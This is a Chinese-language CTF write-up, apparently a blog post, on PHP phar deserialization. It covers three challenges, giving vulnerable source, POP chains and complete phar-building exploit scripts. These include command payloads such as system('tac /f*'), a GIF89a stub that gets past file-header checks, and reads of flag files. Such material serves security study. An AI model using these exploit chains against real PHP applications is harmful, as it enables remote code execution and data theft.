phar反序列化

phar反序列化（更新中）

2024楚慧杯决赛

• file=show.php读源码
• show.php

<?php
class sing{
    public $apple;
    public $range;
    public function __destruct()
    {
        if($this->range == "range"){
            echo "apple is ?".$this->apple;
        }
    }
}

class song{
    public $banana; //banana 可控,让他指向的方法ernb()不存在，触发__call
    public $abble;
    public function __toString()//对象当做字符串的时候，会触发__toString
    {
        if($this->abble == "abble"){
            return $this->banana->ernb();//banana 可控,让他指向的方法ernb()不存在，触发__call
        }
    }
}

class rap{
    public $text;
    public function __call($name, $arguments)//$test->bucunzai('123','456')调用一个不存在的方法时，会触发__call
    {
        return $this->text->aaabbb;  //text 可控,让他指向的属性aaabbb不存在，触发__get
    }
}

class basketball{
    public $payload; //payload 可控
    public function __get($name)//$test -> name2  调用一个不存在的属性时，会触发__get
    {
        if(!preg_match("/flag|system|php|cat|eval|tac|sort|shell|%|~|\\^|\\.|\'/i", $this->payload)){
            @eval($this->payload);
        }
    }
}


if (isset($_GET['file'])) {
    $imagePath = $_GET['file'];
    if (preg_match("/(\/flag|\/fl|\/f|sort)/i", $imagePath)){
    exit();
    }

    $imageData = file_get_contents($imagePath);

    if ($imageData !== false) {

        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mimeType = finfo_buffer($finfo, $imageData);
        finfo_close($finfo);

        header("Content-Type: $mimeType");
        
        echo $imageData;
        exit;
    } else {
        echo "Image cannot be read.";
    }
}
?>

POP：class sing::__destruct() => class song::__toString() => class rap::__call() => class basketball::__get()

file=phar://uploads/test.jpg

<?php
class sing{
    public $apple;
    public $range = "range";
}

class song{
    public $banana;
    public $abble = "abble";
}

class rap{
    public $text;
}

class basketball{
    public $payload;
}

$a = new sing();
$b = new song();
$c = new rap();
$d = new basketball();

$a -> range = $b;//echo并且指向新的song对象，触发song的__toString()方法
$b -> banana = $c;//c中不存在方法
$c -> text = $d;//
$d -> payload = 'echo `ls`'; //命令自己调整

$phar = new Phar("test.phar"); //文件名，后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //触发的开始是sing(),所以传$a  将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();    //签名自动计算

?>

.phar重命名为.jpg

http://ip:port/show.php?file=phar://uploads/test.jpg 

• 上面命令自己调整

[SWPU 2018]SimplePHP

• index.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()   //入口
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()   // C1e4r::__destruct() -> Show::__toString
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);//调用了 source 一个不存在的成员变量，触发__get()
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);//跟进get()方法
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];  //这个可控，把它指向/var/www/html/flag
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

这个链子还是比较简单的，难的点在于它会根据文件头检测phar文件，只改后缀名是没有用的。

• exp

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$C1e4r = new C1e4r();
$Show = new Show();
$Test = new Test();

$C1e4r -> test = $Show;
$Show -> str['str'] = $Test;
$Test -> params['source'] = "/var/www/html/f1ag.php";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($C1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

[NSSRound#4 SWPU]1zweb

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    if (preg_match("/flag/", $file)) {
        die("nonono");
    }
    echo file_get_contents($file);
}

• exp

<?php

class LoveNss{
    public $ljt='Misc';
    public $dky='Re';
    public $cmd;
}
$o = new LoveNss();
$o->ljt='Misc';
$o->dky='Re';
$o -> cmd= "system('tac /f*')";
//@unlink("exp.phar");
$phar = new Phar("exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test123.txt", "test123"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>